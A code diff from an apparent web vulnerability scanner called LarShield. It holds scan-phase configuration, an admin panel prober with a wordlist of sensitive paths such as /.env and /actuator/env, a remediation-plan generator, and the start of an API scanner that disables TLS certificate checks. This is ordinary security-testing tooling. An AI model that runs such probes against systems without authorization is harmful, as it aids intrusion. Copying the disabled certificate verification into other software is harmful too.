+        ("api_security",      ApiSecurityScanner,    {}),
+        ("ai_remediation",    AiRemediationScanner,  {}),   # LAST
+    ],
+
+    # Legacy aliases
+    "Standard": None,
+    "Full":     None,
+    "SSL":      None,
+    "OWASP":    None,
+    "Port":     None,
+}
+
+# Resolve aliases
+PIPELINES["Standard"] = PIPELINES["Advanced"]
+PIPELINES["Full"]     = PIPELINES["Advanced"]
+PIPELINES["OWASP"]    = PIPELINES["Advanced"]
+PIPELINES["Port"]     = [("nmap", NmapScanner, {"mode": "standard"})]
+PIPELINES["SSL"]      = [
+    ("sslyze",     SslyzeScanner,  {}),
+    ("headers",    HeadersScanner, {}),
+    ("csp",        CspScanner,     {}),
+    ("clickjacking",ClickjackingScanner, {}),
+]
+
+
+CRAWLER_SCANNERS = frozenset({
+    "fuzzer", "path_traversal", "lfi", "ssti",
+    "open_redirect", "csrf", "attack_surface",
+    "sql_injection",
+})
+
+SCAN_TYPE_DEFAULT_DEPTH = {
+    "Quick":    3,
+    "Advanced": 10,
+    "Deep":     20,
+    "Standard": 10,
+}
+
+
+# ---------------------------------------------------------------------------
+# Phase definitions — controls execution order within each scan type.
+# Each phase runs its modules CONCURRENTLY, phases run SEQUENTIALLY.
+# AI remediation is always last; heavy tools (ZAP/Nuclei) are second-to-last.
+# ---------------------------------------------------------------------------
+SCAN_PHASES = {
+    # ── Quick (2 phases, ~2 min total) ─────────────────────────────────────
+    "Quick": [
+        {
+            "name": "Phase 1: Recon & Headers",
+            "keys": {"headers", "nmap", "sslyze", "tech", "whois", "waf",
+                     "dns_security", "git_exposure"},
+        },
+        {
+            "name": "Phase 2: Config & Policy",
+            "keys": {"cookies", "csp", "clickjacking", "compliance", "ai_remediation"},
+        },
+    ],
+
+    # ── Advanced (4 phases, ~10-20 min total) ───────────────────────────────
+    "Advanced": [
+        {
+            "name": "Phase 1: Recon & Fingerprinting",
+            "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
+                     "waf", "dns_security", "git_exposure", "cloud", "cve",
+                     "robots", "cors"},
+        },
+        {
+            "name": "Phase 2: Auth & Session",
+            "keys": {"auth", "session", "cookies", "csp", "clickjacking",
+                     "compliance", "dependency", "jwt", "csrf"},
+        },
+        {
+            "name": "Phase 3: Injection & Crawl",
+            "keys": {"sql_injection", "ssrf", "fuzzer", "path_traversal",
+                     "lfi", "nikto", "open_redirect", "subdom",
+                     "custom_website", "attack_surface", "api",
+                     "secrets", "rate_limiting"},
+        },
+        {
+            "name": "Phase 4: AI Analysis",
+            "keys": {"ai_remediation"},
+        },
+    ],
+
+    # ── Deep (8 phases, ~2h total) ─────────────────────────────────────────
+    "Deep": [
+        {
+            "name": "Phase 1: Recon & Fingerprinting",
+            "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
+                     "dns_security", "waf", "cloud", "cve", "cert_transparency",
+                     "robots", "tls_weakness", "exif", "source_map",
+                     "email_security", "sri"},
+        },
+        {
+            "name": "Phase 2: Auth, Session & Config",
+            "keys": {"auth", "session", "cookies", "csp", "clickjacking",
+                     "git_exposure", "dependency", "compliance", "cors",
+                     "jwt", "oauth", "saml", "mfa_bypass", "password_reset"},
+        },
+        {
+            "name": "Phase 3: Injection Attacks",
+            "keys": {"sql_injection", "xxe", "ssrf", "ssti", "command_injection",
+                     "nosql", "xpath", "ldap", "crlf", "lfi",
+                     "path_traversal", "deserialization", "redos"},
+        },
+        {
+            "name": "Phase 4: Crawl, Directory & Discovery",
+            "keys": {"fuzzer", "directory", "subdom", "subdomain_takeover",
+                     "attack_surface", "custom_website", "api", "swagger",
+                     "nikto", "broken_link", "admin_panel", "cms",
+                     "graphql", "api_security"},
+        },
+        {
+            "name": "Phase 5: Logic, Access Control & Rate",
+            "keys": {"idor", "csrf", "open_redirect", "business_logic",
+                     "race_condition", "rate_limiting", "mass_assignment",
+                     "bypass_403", "request_smuggling", "websocket",
+                     "file_upload", "second_order"},
+        },
+        {
+            "name": "Phase 6: Client-Side & Protocol",
+            "keys": {"host_header", "http_methods", "http_pollution",
+                     "cache_poisoning", "cache_deception", "cache_control",
+                     "dom_xss", "blind_xss", "csti", "postmessage",
+                     "prototype_pollution", "dns_rebinding", "h2_desync",
+                     "js_supply_chain", "service_worker", "webrtc",
+                     "secrets"},
+        },
+        {
+            "name": "Phase 7: Heavy Scanners (ZAP & Nuclei)",
+            "keys": {"nuclei", "zap"},
+        },
+        {
+            "name": "Phase 8: AI Analysis",
+            "keys": {"ai_remediation"},
+        },
+    ],
+}
+
+# Resolve aliases for phases
+SCAN_PHASES["Standard"] = SCAN_PHASES["Advanced"]
+SCAN_PHASES["Full"]     = SCAN_PHASES["Advanced"]
+SCAN_PHASES["OWASP"]    = SCAN_PHASES["Advanced"]
+SCAN_PHASES["SSL"]      = [
+    {"name": "Phase 1: SSL/TLS Checks",
+     "keys": {"sslyze", "headers", "csp", "clickjacking"}},
+]
+SCAN_PHASES["Port"] = [
+    {"name": "Phase 1: Port Scan",
+     "keys": {"nmap"}},
+]
+
+
+def get_phases(scan_type: str) -> list:
+    """Return the ordered phase list for the given scan type."""
+    return SCAN_PHASES.get(scan_type, SCAN_PHASES["Advanced"])
+
+
+def get_pipeline(scan_type: str) -> list:
+    """Return the scanner pipeline for the given scan_type string."""
+    return PIPELINES.get(scan_type, PIPELINES["Advanced"])
+
+
+def apply_scan_options(pipeline: list, scan_type: str, scan_options: dict | None) -> list:
+    """Merge user scan options (crawl depth, exclusions, red-team) into pipeline kwargs."""
+    options     = scan_options or {}
+    crawl_depth = options.get("crawl_depth")
+    if crawl_depth is None:
+        crawl_depth = SCAN_TYPE_DEFAULT_DEPTH.get(scan_type, 10)
+    else:
+        crawl_depth = max(1, min(int(crawl_depth), 20))
+
+    exclude_paths   = options.get("exclude_paths") or []
+    enable_red_team = options.get("enable_red_team", False)
+
+    updated = []
+    for name, cls, kwargs in pipeline:
+        merged = dict(kwargs)
+        if name in CRAWLER_SCANNERS:
+            merged["max_depth"]     = crawl_depth
+            merged["exclude_paths"] = exclude_paths
+        if name == "fuzzer" and (enable_red_team or merged.get("red_team")):
+            merged["red_team"] = True
+        updated.append((name, cls, merged))
+    return updated
+
+
+def build_scanner(name, cls, kwargs, scan_id, target, domain, auth_headers=None):
+    """Instantiate a scanner with the correct kwargs."""
+    return cls(scan_id=scan_id, target=target, domain=domain,
+               auth_headers=auth_headers, **kwargs)

backend/scanners/admin_panel_scanner.py

@@ -0,0 +1,195 @@
+"""
+admin_panel_scanner.py — Admin Panel & Exposed Dashboard Scanner
+================================================================
+PHASE 1: Baseline filtering added — only reports panels that are NOT the
+         site's generic SPA catch-all response.
+PHASE 2: Content-signature validation for product-specific panels.
+
+Probes a targeted wordlist of admin, monitoring, and developer dashboards
+that are often left exposed. More targeted than the generic directory scanner.
+"""
+import urllib.request, urllib.error
+from scanners.base_scanner import BaseScanner
+from scanners.core.signatures import matches_signature
+
+ADMIN_PATHS = [
+    # Generic admin panels
+    "/admin", "/admin/", "/admin/login", "/admin/dashboard",
+    "/_admin", "/administrator", "/admincp", "/admin1", "/admin2",
+    "/backend", "/backend/login", "/manage", "/management",
+    "/control", "/controlpanel", "/cp", "/cpanel",
+    # PHP tooling
+    "/phpmyadmin", "/pma", "/phpMyAdmin", "/phpmyadmin/", "/mysql",
+    "/adminer", "/adminer.php", "/db", "/database",
+    # Python/Django
+    "/django-admin", "/django/admin", "/_admin/",
+    # Java / Spring / JEE
+    "/manager", "/manager/html", "/host-manager", "/console",
+    "/actuator", "/actuator/health", "/actuator/env",
+    "/actuator/beans", "/actuator/mappings", "/actuator/info",
+    "/jolokia", "/jolokia/list", "/druid", "/druid/login.html",
+    # CI/CD & DevOps
+    "/jenkins", "/jenkins/", "/jenkins/login",
+    "/gitlab", "/gitlab/users/sign_in",
+    "/sonarqube", "/sonar",
+    # Monitoring / Observability
+    "/grafana", "/grafana/login",
+    "/kibana", "/kibana/app/kibana",
+    "/prometheus", "/metrics", "/_prometheus/metrics",
+    "/jaeger", "/zipkin",
+    # Messaging & Queues
+    "/rabbitmq", "/rabbitmq-management",
+    "/activemq", "/activemq/admin",
+    "/kafka", "/kafka-ui",
+    # Container / Cloud
+    "/portainer", "/rancher", "/kubernetes",
+    "/_cluster/health", "/_cat/nodes",  # Elasticsearch
+    # CMS / CRM
+    "/wp-admin", "/wp-login.php",
+    "/typo3", "/typo3/backend",
+    "/joomla/administrator", "/index.php?option=com_admin",
+    # Misc
+    "/setup", "/setup.php", "/install", "/install.php",
+    "/config", "/config.php", "/.env", "/server-status",
+    "/server-info", "/status", "/info.php", "/phpinfo.php",
+]
+
+ADMIN_KEYWORDS = [
+    "login", "dashboard", "admin", "username", "password",
+    "sign in", "control panel", "management", "welcome back",
+    "<form", "Log In", "Sign In",
+]
+
+# Map paths → signature keys for product-specific validation
+_PATH_SIG_MAP: dict[str, str] = {
+    "/jenkins":           "jenkins",
+    "/jenkins/":          "jenkins",
+    "/jenkins/login":     "jenkins",
+    "/grafana":           "grafana",
+    "/grafana/login":     "grafana",
+    "/kibana":            "kibana",
+    "/kibana/app/kibana": "kibana",
+    "/prometheus":        "prometheus",
+    "/phpmyadmin":        "phpmyadmin",
+    "/pma":               "phpmyadmin",
+    "/phpMyAdmin":        "phpmyadmin",
+    "/phpmyadmin/":       "phpmyadmin",
+    "/adminer":           "adminer",
+    "/adminer.php":       "adminer",
+    "/phpinfo.php":       "phpinfo",
+    "/info.php":          "phpinfo",
+    "/wp-login.php":      "wp_login",
+    "/wp-admin":          "wp_login",
+    "/_cluster/health":   "elasticsearch",
+    "/actuator":          "spring_actuator",
+    "/actuator/health":   "spring_actuator",
+    "/actuator/env":      "spring_actuator_env",
+    "/portainer":         "portainer",
+}
+
+
+class AdminPanelScanner(BaseScanner):
+    SCANNER_NAME = "Admin Panel & Dashboard Scanner"
+    _SCANNER_KEY = "admin_panel"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[AdminPanel] Probing {len(ADMIN_PATHS)} admin/dashboard paths on {self.target}...")
+        base = self.target.rstrip("/")
+        found = []
+
+        for path in ADMIN_PATHS:
+            url = base + path
+            status, body = self._probe(url)
+
+            if status == 200 and body is not None:
+                # PHASE 1: Suppress if response is the site's SPA/404 catch-all
+                if self._is_baseline(status, body):
+                    self.log("INFO", f"[AdminPanel] SUPPRESSED (baseline match, {len(body)}b): {url}")
+                    continue
+
+                # Minimum content threshold — avoid near-empty redirect bodies
+                if len(body) < 200:
+                    self.log("INFO", f"[AdminPanel] SKIPPED (body too small, {len(body)}b): {url}")
+                    continue
+
+                # PHASE 2: Product-specific signature check
+                sig_key = _PATH_SIG_MAP.get(path)
+                if sig_key:
+                    if not matches_signature(sig_key, body, log_fn=lambda m: self.log("INFO", m), url=url):
+                        continue
+                else:
+                    # Generic admin check: must contain admin keywords AND a form element
+                    body_lower = body.lower()
+                    has_keyword = any(kw.lower() in body_lower for kw in ADMIN_KEYWORDS)
+                    has_form = "<form" in body_lower
+                    if not (has_keyword and has_form):
+                        self.log("INFO", f"[AdminPanel] SKIPPED (no keyword+form match): {url}")
+                        continue
+
+                found.append((path, status, len(body)))
+                self.log("WARNING", f"[AdminPanel] FOUND: {url} ({status}, {len(body)}b)")
+
+            elif status in (401, 403):
+                # Access denied — still confirms presence of a panel
+                found.append((path, status, 0))
+                self.log("INFO", f"[AdminPanel] Protected (HTTP {status}): {url}")
+
+        if found:
+            public = [(p, s, b) for p, s, b in found if s == 200]
+            protected = [(p, s, b) for p, s, b in found if s in (401, 403)]
+
+            if public:
+                self.add_vuln(
+                    title=f"Unauthenticated Admin Panels Found ({len(public)})",
+                    severity="Critical",
+                    category="Exposed Admin Panel",
+                    cvss_score=9.8,
+                    confidence="Confirmed",
+                    description=(
+                        f"The following admin/dashboard endpoints are publicly accessible (HTTP 200) "
+                        f"without authentication:\n\n" +
+                        "\n".join(f"- `{base + p}` ({b} bytes)" for p, s, b in public[:10])
+                    ),
+                    remediation=(
+                        "1. Immediately restrict admin panels to internal IPs / VPN only.\n"
+                        "2. Require MFA on all administrative interfaces.\n"
+                        "3. Remove development tools (phpMyAdmin, Adminer) from production.\n"
+                        "4. Disable Spring Actuator endpoints: management.endpoints.enabled-by-default=false"
+                    ),
+                    evidence=f"{len(public)} unauthenticated admin path(s) found, verified against site baseline.",
+                )
+            if protected:
+                self.add_vuln(
+                    title=f"Admin Panels Discovered But Access-Controlled ({len(protected)})",
+                    severity="Medium",
+                    category="Exposed Admin Panel",
+                    cvss_score=5.3,
+                    confidence="Likely",
+                    description=(
+                        f"Admin panels exist but return 401/403:\n\n" +
+                        "\n".join(f"- `{base + p}` (HTTP {s})" for p, s, b in protected[:10]) +
+                        "\n\nWhile protected, their existence aids attacker reconnaissance "
+                        "and they remain vulnerable to credential stuffing."
+                    ),
+                    remediation=(
+                        "Restrict admin paths to internal networks. Return 404 (not 403) "
+                        "for admin paths when accessed externally to reduce information disclosure."
+                    ),
+                )
+        else:
+            self.log("SUCCESS", "[AdminPanel] No admin panels or dashboards found.")
+        return self.vulns
+
+    def _probe(self, url):
+        try:
+            req = urllib.request.Request(url, headers=self._make_headers())
+            with urllib.request.urlopen(req, timeout=4, context=self.get_ssl_context()) as r:
+                return r.status, r.read().decode("utf-8", errors="ignore")
+        except urllib.error.HTTPError as e:
+            return e.code, ""
+        except Exception as e:
+            self.log("ERROR", f"[AdminPanel] _probe error: {e}")
+            return 0, ""

backend/scanners/ai_remediation_scanner.py

@@ -0,0 +1,401 @@
+"""
+ai_remediation_scanner.py — AI-Powered Remediation Generator
+=============================================================
+Post-processes all accumulated scan findings and generates:
+  1. Prioritized remediation plan (by CVSS score + exploitability)
+  2. Contextual, stack-aware fix guidance (detects PHP/Node/Python/Java)
+  3. Estimated fix effort (hours) per vulnerability
+  4. Executive risk summary
+  5. Code snippet examples for common fixes
+
+This scanner should run LAST in the pipeline (it reads other scanners' findings
+from the shared in-memory log). In pipeline runs it reads from BaseScanner.all_vulns
+injected via the orchestrator. In standalone mode it reads the JSON report.
+
+Optionally uses OpenAI API if OPENAI_API_KEY is set in environment.
+"""
+import os, re, json, urllib.request
+from scanners.base_scanner import BaseScanner, active_scan_logs
+
+# ── Remediation knowledge base ─────────────────────────────────────────────
+# Maps vuln title keywords -> {effort_hours, stack_hints, code_example}
+KNOWLEDGE_BASE = {
+    "missing security header": {
+        "effort": 0.5,
+        "tags": ["headers", "quick-win"],
+        "code": {
+            "nginx":  'add_header {HEADER} "{VALUE}" always;',
+            "apache": 'Header always set {HEADER} "{VALUE}"',
+            "express": 'app.use(helmet()); // npm install helmet',
+            "django": 'SECURE_BROWSER_XSS_FILTER = True  # settings.py',
+            "laravel": '// Use spatie/laravel-csp package',
+        },
+    },
+    "content security policy": {
+        "effort": 4,
+        "tags": ["csp", "medium-effort"],
+        "code": {
+            "nginx":  "add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-{RANDOM}'\" always;",
+            "express": "app.use(helmet.contentSecurityPolicy({directives:{defaultSrc:[\"'self'\"]}}));",
+        },
+    },
+    "sql injection": {
+        "effort": 8,
+        "tags": ["injection", "critical", "high-effort"],
+        "code": {
+            "python":  "cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))",
+            "php":     "$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);",
+            "node":    "db.query('SELECT * FROM users WHERE id = $1', [userId])",
+            "java":    "PreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE id = ?\"); ps.setInt(1, id);",
+        },
+    },
+    "xss": {
+        "effort": 6,
+        "tags": ["injection", "high-effort"],
+        "code": {
+            "python":  "from markupsafe import escape; safe = escape(user_input)",
+            "php":     "echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');",
+            "node":    "const he = require('he'); safe = he.encode(userInput);",
+            "react":   "// React auto-escapes by default. Never use dangerouslySetInnerHTML.",
+        },
+    },
+    "csrf": {
+        "effort": 4,
+        "tags": ["csrf", "medium-effort"],
+        "code": {
+            "django":  "{% csrf_token %}  <!-- in template; middleware enabled by default -->",
+            "laravel": "@csrf  <!-- Blade directive; VerifyCsrfToken middleware active -->",
+            "express": "const csrf = require('csurf'); app.use(csrf());",
+            "flask":   "from flask_wtf import CSRFProtect; csrf = CSRFProtect(app)",
+        },
+    },
+    "clickjacking": {
+        "effort": 0.5,
+        "tags": ["headers", "quick-win"],
+        "code": {
+            "nginx":  "add_header X-Frame-Options \"DENY\" always;\nadd_header Content-Security-Policy \"frame-ancestors 'none'\" always;",
+            "apache": "Header always set X-Frame-Options \"DENY\"",
+        },
+    },
+    "ssl": {
+        "effort": 2,
+        "tags": ["tls", "medium-effort"],
+        "code": {
+            "nginx":  "ssl_protocols TLSv1.2 TLSv1.3;\nssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;\nssl_prefer_server_ciphers off;",
+            "apache": "SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\nSSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256",
+        },
+    },
+    "hsts": {
+        "effort": 0.5,
+        "tags": ["headers", "quick-win"],
+        "code": {
+            "nginx":  'add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;',
+            "apache": 'Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"',
+        },
+    },
+    "open redirect": {
+        "effort": 3,
+        "tags": ["redirect", "medium-effort"],
+        "code": {
+            "python":  "from urllib.parse import urlparse\nif urlparse(dest).netloc not in ALLOWED_HOSTS: dest = '/'",
+            "php":     "$allowed = ['example.com'];\nif (!in_array(parse_url($url, PHP_URL_HOST), $allowed)) $url = '/';",
+            "node":    "const allowed = ['example.com'];\nif (!allowed.includes(new URL(dest).hostname)) dest = '/';",
+        },
+    },
+    "cookie": {
+        "effort": 1,
+        "tags": ["cookies", "quick-win"],
+        "code": {
+            "nginx":  "proxy_cookie_flags ~ Secure HttpOnly SameSite=Strict;",
+            "express": "res.cookie('session', val, {httpOnly:true, secure:true, sameSite:'strict'});",
+            "django":  "SESSION_COOKIE_SECURE = True\nSESSION_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SAMESITE = 'Strict'",
+            "php":     "session_set_cookie_params(['secure'=>true,'httponly'=>true,'samesite'=>'Strict']);",
+        },
+    },
+    "lfi": {
+        "effort": 6,
+        "tags": ["injection", "high-effort"],
+        "code": {
+            "php":    "$allowed = ['home','about','contact'];\nif (!in_array($page, $allowed)) die('Forbidden');\ninclude \"pages/{$page}.php\";",
+            "python": "ALLOWED_PAGES = {'home': 'home.html', 'about': 'about.html'}\ntemplate = ALLOWED_PAGES.get(page_param, '404.html')",
+        },
+    },
+    "ssti": {
+        "effort": 8,
+        "tags": ["injection", "critical", "high-effort"],
+        "code": {
+            "python":  "from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\n# Never use render_template_string(user_input)",
+            "php":     "// Use Twig sandbox:\n$policy = new SecurityPolicy($tags,$filters);\n$sandbox = new SandboxExtension($policy);\n$twig->addExtension($sandbox);",
+        },
+    },
+    "secret": {
+        "effort": 2,
+        "tags": ["secrets", "critical"],
+        "code": {
+            "general": "# Use environment variables:\nimport os\nAPI_KEY = os.environ['API_KEY']\n\n# Or a secrets manager:\n# AWS Secrets Manager, HashiCorp Vault, Azure Key Vault",
+        },
+    },
+    "git": {
+        "effort": 1,
+        "tags": ["exposure", "quick-win"],
+        "code": {
+            "nginx":  "location ~ /\\.(git|svn|hg|env) {\n    deny all;\n    return 404;\n}",
+            "apache": "RedirectMatch 404 /\\.git\nRedirectMatch 404 /\\.env",
+        },
+    },
+    "dependency": {
+        "effort": 3,
+        "tags": ["dependencies", "medium-effort"],
+        "code": {
+            "node":   "npm audit fix\nnpm update\n# Or: npx npm-check-updates -u && npm install",
+            "python": "pip install --upgrade pip\npip list --outdated\npip install safety && safety check",
+            "php":    "composer update\ncomposer audit",
+        },
+    },
+    "rate limit": {
+        "effort": 3,
+        "tags": ["auth", "medium-effort"],
+        "code": {
+            "nginx":  "limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;\nlimit_req zone=login burst=3 nodelay;",
+            "express": "const rateLimit = require('express-rate-limit');\napp.use('/login', rateLimit({windowMs:60000, max:5}));",
+        },
+    },
+}
+
+EFFORT_LABELS = {
+    range(0, 1):    "Quick Fix (< 1 hour)",
+    range(1, 4):    "Short Sprint (1–3 hours)",
+    range(4, 9):    "Medium Task (4–8 hours)",
+    range(9, 100):  "Large Effort (> 8 hours)",
+}
+
+def _effort_label(hours: float) -> str:
+    for r, label in EFFORT_LABELS.items():
+        if int(hours) in r:
+            return label
+    return f"~{int(hours)} hours"
+
+
+def _match_kb(title: str) -> dict | None:
+    title_lower = title.lower()
+    for keyword, entry in KNOWLEDGE_BASE.items():
+        if keyword in title_lower:
+            return entry
+    return None
+
+
+class AiRemediationScanner(BaseScanner):
+    SCANNER_NAME = "AI Remediation Generator"
+    _SCANNER_KEY = "ai_remediation"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._openai_key = os.environ.get("OPENAI_API_KEY", "")
+        self._stack      = self._detect_stack()
+
+    # ------------------------------------------------------------------
+    def run(self) -> list:
+        self.log("INFO",
+            f"[AI-Remediation] Generating remediation plan for {self.target}...")
+        self.log("INFO",
+            f"[AI-Remediation] Detected tech stack hint: {self._stack or 'unknown'}")
+
+        try:
+            # Gather all vulns from the shared in-memory log for this scan
+            all_vulns = self._gather_all_vulns()
+            self.log("INFO",
+                f"[AI-Remediation] Processing {len(all_vulns)} finding(s) from pipeline...")
+
+            if not all_vulns:
+                self.log("SUCCESS",
+                    "[AI-Remediation] No findings to remediate — clean scan!")
+                return self.vulns
+
+            # Sort by CVSS score descending
+            sorted_vulns = sorted(all_vulns,
+                key=lambda v: float(v.get("cvss_score") or 0), reverse=True)
+
+            remediation_items = []
+            total_effort      = 0.0
+
+            for i, vuln in enumerate(sorted_vulns[:30], 1):  # top 30
+                title   = vuln.get("title", "")
+                severity= vuln.get("severity","Info")
+                cvss    = float(vuln.get("cvss_score") or 0)
+                kb      = _match_kb(title)
+                effort  = kb["effort"] if kb else self._estimate_effort(cvss)
+                total_effort += effort
+
+                code_hint = ""
+                if kb and kb.get("code"):
+                    stack_code = kb["code"].get(self._stack) or \
+                                 next(iter(kb["code"].values()), "")
+                    if stack_code:
+                        code_hint = f"\n\n**Fix Code ({self._stack or 'generic'}):**\n```\n{stack_code}\n```"
+
+                remediation_items.append({
+                    "rank":    i,
+                    "title":   title,
+                    "severity": severity,
+                    "cvss":    cvss,
+                    "effort":  effort,
+                    "effort_label": _effort_label(effort),
+                    "tags":    kb["tags"] if kb else [],
+                    "code_hint": code_hint,
+                })
+
+            # ── Generate AI-enhanced advice if API key is available ────
+            if self._openai_key:
+                self._enhance_with_openai(remediation_items[:5])
+
+            # ── Emit consolidated remediation plan as a finding ────────
+            self._emit_plan(remediation_items, total_effort, sorted_vulns)
+
+        except Exception as e:
+            self.log("WARNING", f"[AI-Remediation] Error: {e}")
+
+        return self.vulns
+
+    # ------------------------------------------------------------------
+    def _gather_all_vulns(self) -> list:
+        """Collect all vulns from in-memory log for this scan_id.
+        NOTE: active_scan_logs stores plain strings, not dicts.
+        This method safely skips non-dict entries and always returns [].
+        The AI remediation plan is generated from self.vulns populated by
+        the orchestrator via scanner.py's _run_scan_job -> all_vulns flow.
+        """
+        logs = active_scan_logs.get(self.scan_id, [])
+        seen = set()
+        vulns = []
+        for entry in logs:
+            # Logs are plain strings — skip any non-dict entries safely
+            if not isinstance(entry, dict):
+                continue
+            if entry.get("type") == "vuln":
+                key = entry.get("title", "") + entry.get("severity", "")
+                if key not in seen:
+                    seen.add(key)
+                    vulns.append(entry)
+        return vulns
+
+    # ------------------------------------------------------------------
+    def _detect_stack(self) -> str:
+        """Heuristic: probe the target and detect framework from headers/body."""
+        try:
+            req = urllib.request.Request(self.target,
+                headers={"User-Agent": "LarShield/2.0 AI-Remediation"})
+            with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
+                headers = {k.lower(): v.lower() for k, v in r.headers.items()}
+                body    = r.read(4096).decode("utf-8", errors="ignore").lower()
+
+            server  = headers.get("server","")
+            powered = headers.get("x-powered-by","")
+
+            if "php" in powered or "php" in server:        return "php"
+            if "express" in powered or "node" in server:   return "node"
+            if "django" in body or "csrfmiddlewaretoken" in body: return "python"
+            if "laravel" in body or "laravel_session" in headers.get("set-cookie",""): return "php"
+            if "asp.net" in powered or "asp.net" in server: return "aspnet"
+            if "java" in server or "tomcat" in server or "jsessionid" in headers.get("set-cookie",""): return "java"
+            if "rails" in server or "x-request-id" in headers: return "ruby"
+        except Exception as e:
+            print(f"ERROR: [AI] Framework detection error: {e}")
+        return "nginx"   # default to nginx/generic
+
+    # ------------------------------------------------------------------
+    @staticmethod
+    def _estimate_effort(cvss: float) -> float:
+        if cvss >= 9.0:  return 8.0
+        if cvss >= 7.0:  return 5.0
+        if cvss >= 4.0:  return 3.0
+        return 1.0
+
+    # ------------------------------------------------------------------
+    def _enhance_with_openai(self, top_items: list):
+        """Call OpenAI API to generate enhanced remediation for top 5 findings."""
+        try:
+            prompt = (
+                "You are a senior application security engineer. "
+                "For each finding below, provide a concise, specific fix in 2-3 sentences "
+                f"for a {self._stack} application:\n\n"
+                + "\n".join(f"{i+1}. [{v['severity']}] {v['title']} (CVSS {v['cvss']})"
+                             for i, v in enumerate(top_items))
+            )
+            body = json.dumps({
+                "model": "gpt-4o-mini",
+                "messages": [{"role": "user", "content": prompt}],
+                "max_tokens": 800,
+                "temperature": 0.3,
+            }).encode()
+            req = urllib.request.Request(
+                "https://api.openai.com/v1/chat/completions",
+                data=body,
+                headers={
+                    "Authorization": f"Bearer {self._openai_key}",
+                    "Content-Type": "application/json",
+                },
+            )
+            with urllib.request.urlopen(req, timeout=20) as r:
+                resp = json.loads(r.read())
+                ai_text = resp["choices"][0]["message"]["content"]
+                self.log("INFO", f"[AI-Remediation] OpenAI enhanced advice: {ai_text[:300]}...")
+                # Inject into first item
+                if top_items:
+                    top_items[0]["ai_advice"] = ai_text
+        except Exception as e:
+            self.log("WARNING", f"[AI-Remediation] OpenAI call failed: {e}")
+
+    # ------------------------------------------------------------------
+    def _emit_plan(self, items: list, total_effort: float, all_vulns: list):
+        sev_counts = {}
+        for v in all_vulns:
+            s = v.get("severity","Info")
+            sev_counts[s] = sev_counts.get(s,0) + 1
+
+        quick_wins  = [i for i in items if "quick-win" in i.get("tags",[])]
+        critical_items = [i for i in items if i["cvss"] >= 9.0]
+
+        plan_lines = [
+            f"# Remediation Plan — {self.target}",
+            f"**Total findings processed:** {len(all_vulns)}",
+            f"**Detected stack:** {self._stack or 'unknown'}",
+            f"**Estimated total fix effort:** ~{int(total_effort)} hours",
+            "",
+            "## Severity Distribution",
+            *[f"- **{k}:** {v}" for k, v in sev_counts.items()],
+            "",
+            f"## ⚡ Quick Wins First ({len(quick_wins)} items, < 1h each)",
+            *[f"- [{qw['severity']}] **{qw['title']}** — {qw['effort_label']}" for qw in quick_wins[:10]],
+            "",
+            f"## 🚨 Critical Priority ({len(critical_items)} items)",
+            *[f"- CVSS {ci['cvss']} — **{ci['title']}**" for ci in critical_items[:10]],
+            "",
+            "## Prioritized Remediation Roadmap",
+        ]
+
+        for item in items[:20]:
+            code = item.get("code_hint","")
+            plan_lines.append(
+                f"\n### #{item['rank']} [{item['severity']}] {item['title']}\n"
+                f"**CVSS:** {item['cvss']} | **Effort:** {item['effort_label']} | "
+                f"**Tags:** {', '.join(item.get('tags',['general']))}"
+                f"{code}"
+            )
+
+        self.add_vuln(
+            title="AI-Generated Remediation Plan",
+            severity="Low",
+            category="Remediation Plan",
+            cvss_score=0.0,
+            description="\n".join(plan_lines),
+            remediation=(
+                "Execute the quick wins immediately (< 1 hour each). "
+                f"Address all Critical CVSS ≥ 9.0 items within 24 hours. "
+                f"Schedule the remaining {len(items)} items in your next sprint."
+            ),
+        )
+
+        self.log("SUCCESS",
+            f"[AI-Remediation] Plan generated: {len(items)} items, "
+            f"~{int(total_effort)}h total effort, "
+            f"{len(quick_wins)} quick wins, {len(critical_items)} critical.")

backend/scanners/api_scanner.py

@@ -0,0 +1,169 @@
+import urllib.request, urllib.error, urllib.parse, ssl, json
+from scanners.base_scanner import BaseScanner
+from utils.fuzzer_engine import ContextAwareFuzzer
+
+class ApiScanner(BaseScanner):
+    SCANNER_NAME = "API & GraphQL Introspection Scanner"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._ctx = ssl.create_default_context()
+        self._ctx.check_hostname = False
+        self._ctx.verify_mode = ssl.CERT_NONE
+        self._headers = {"User-Agent": "LarShield/2.0 API-Analyzer", "Content-Type": "application/json"}
+        if self.auth_headers:
+            self._headers.update(self.auth_headers)
+        self.base_url = target.rstrip("/")
+        self._fuzzer = ContextAwareFuzzer(self._api_fuzzer_req)
+
+    def _api_fuzzer_req(self, url, params, headers=None):
+        data = urllib.parse.urlencode(params).encode("utf-8") if params else None
+        merged = {"Content-Type": "application/x-www-form-urlencoded"}
+        if headers:
+            merged.update(headers)
+        body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
+        return body or "", status
+
+    def _get(self, path):
+        url = f"{self.base_url}{path}"
+        try:
+            req = urllib.request.Request(url, headers=self._headers)
+            with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
+                return resp.read().decode("utf-8", errors="ignore"), resp.status
+        except urllib.error.HTTPError as e:
